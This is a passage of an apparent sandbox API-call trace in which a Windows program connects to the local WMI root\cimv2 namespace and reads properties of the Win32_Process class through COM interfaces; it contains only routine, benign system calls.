(This=0x1bc94570) returned 0x2 [0137.916] WbemDefPath:IUnknown:Release (This=0x1bc94570) returned 0x1 [0137.916] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0137.916] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0137.916] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94570, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc94570) returned 0x0 [0137.916] WbemDefPath:IUnknown:AddRef (This=0x1bc94570) returned 0x3 [0137.916] WbemDefPath:IUnknown:Release (This=0x1bc94570) returned 0x2 [0137.916] WbemDefPath:IWbemPath:SetText (This=0x1bc94570, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0137.916] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94570, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0137.916] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0137.916] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.916] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0137.916] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0137.916] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0137.916] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.917] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc89eb0) returned 0x0 [0137.918] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89eb0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0137.918] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc89eb0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc89ed0) returned 0x0 [0137.918] WbemLocator:IUnknown:Release (This=0x1bc89eb0) returned 0x0 [0137.918] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89ed0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc89ed0) returned 0x0 [0137.918] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89ed0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0137.918] WbemLocator:IUnknown:AddRef (This=0x1bc89ed0) returned 0x3 [0137.918] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89ed0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0137.919] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89ed0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0137.919] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89ed0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0137.919] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0137.919] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0137.919] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89ed0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0137.919] WbemLocator:IUnknown:Release (This=0x1bc89ed0) returned 0x2 [0137.919] WbemLocator:IUnknown:Release (This=0x1bc89ed0) returned 0x1 [0137.919] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0137.919] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0137.919] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89ed0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc89ed0) returned 0x0 [0137.919] WbemLocator:IUnknown:AddRef (This=0x1bc89ed0) returned 0x3 [0137.919] WbemLocator:IUnknown:Release (This=0x1bc89ed0) returned 0x2 [0137.919] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94570, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0137.919] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0137.919] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.920] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc89ef0) returned 0x0 [0137.920] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc89ef0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc96ee0) returned 0x0 [0138.134] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96ee0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc42e60) returned 0x0 [0138.134] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc42e60, pProxy=0x1bc96ee0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0138.134] WbemLocator:IUnknown:Release (This=0x1bc42e60) returned 0x1 [0138.134] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96ee0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc42ea0) returned 0x0 [0138.134] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96ee0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc42e60) returned 0x0 [0138.134] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc42e60, pProxy=0x1bc96ee0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0138.135] WbemLocator:IUnknown:Release (This=0x1bc42e60) returned 0x2 [0138.135] WbemLocator:IUnknown:Release (This=0x1bc42ea0) returned 0x1 [0138.135] CoTaskMemFree (pv=0x1bc6e340) [0138.135] WbemLocator:IUnknown:AddRef (This=0x1bc96ee0) returned 0x2 [0138.135] WbemLocator:IUnknown:Release (This=0x1bc89ef0) returned 0x0 [0138.135] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0138.135] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0138.136] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96ee0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc42e70) returned 0x0 [0138.136] WbemLocator:IRpcOptions:Query (in: This=0x1bc42e70, pPrx=0x1bc89f50, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0138.136] WbemLocator:IUnknown:Release (This=0x1bc42e70) returned 0x2 [0138.136] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0138.136] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0138.136] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96ee0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc96ee0) returned 0x0 [0138.136] WbemLocator:IUnknown:Release (This=0x1bc96ee0) returned 0x2 [0138.136] SysStringLen (param_1=0x0) returned 0x0 [0138.136] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94570, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0138.136] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0138.136] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.136] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94270, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0138.136] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94270, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0138.137] IWbemServices:GetObject (in: This=0x1bc96ee0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bc784e0, ppCallResult=0x0) returned 0x0 [0138.142] IWbemClassObject:Get (in: This=0x1bc784e0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0138.142] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0138.142] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0138.142] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0138.142] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0138.142] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0138.142] IUnknown:Release (This=0x1a943398) returned 0x1 [0138.144] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc89ef0) returned 0x0 [0138.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc89ef0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0138.145] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc89ef0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc94630) returned 0x0 [0138.145] WbemDefPath:IUnknown:Release (This=0x1bc89ef0) returned 0x0 [0138.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc94630) returned 0x0 [0138.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0138.145] WbemDefPath:IUnknown:AddRef (This=0x1bc94630) returned 0x3 [0138.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0138.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0138.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc89f10) returned 0x0 [0138.145] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89f10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.145] WbemDefPath:IUnknown:Release (This=0x1bc89f10) returned 0x3 [0138.145] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0138.146] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0138.146] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0138.146] WbemDefPath:IUnknown:Release (This=0x1bc94630) returned 0x2 [0138.146] WbemDefPath:IUnknown:Release (This=0x1bc94630) returned 0x1 [0138.146] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0138.146] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0138.146] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc94630) returned 0x0 [0138.146] WbemDefPath:IUnknown:AddRef (This=0x1bc94630) returned 0x3 [0138.146] WbemDefPath:IUnknown:Release (This=0x1bc94630) returned 0x2 [0138.146] WbemDefPath:IWbemPath:SetText (This=0x1bc94630, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0138.146] IWbemClassObject:Get (in: This=0x1bc784e0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0138.146] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.146] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.147] IWbemClassObject:Get (in: This=0x1bc784e0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0138.147] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0138.147] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0138.147] IWbemClassObject:Get (in: This=0x1bc784e0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0138.147] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0138.147] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0138.147] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0138.147] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0138.147] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0138.148] IUnknown:Release (This=0x1a943398) returned 0x1 [0138.149] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc8a0b0) returned 0x0 [0138.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc8a0b0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0138.150] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc8a0b0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc946f0) returned 0x0 [0138.150] WbemDefPath:IUnknown:Release (This=0x1bc8a0b0) returned 0x0 [0138.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc946f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc946f0) returned 0x0 [0138.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc946f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0138.150] WbemDefPath:IUnknown:AddRef (This=0x1bc946f0) returned 0x3 [0138.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc946f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0138.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc946f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0138.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc946f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc8a0f0) returned 0x0 [0138.150] WbemDefPath:IMarshal:GetUnmarshalClass (in: 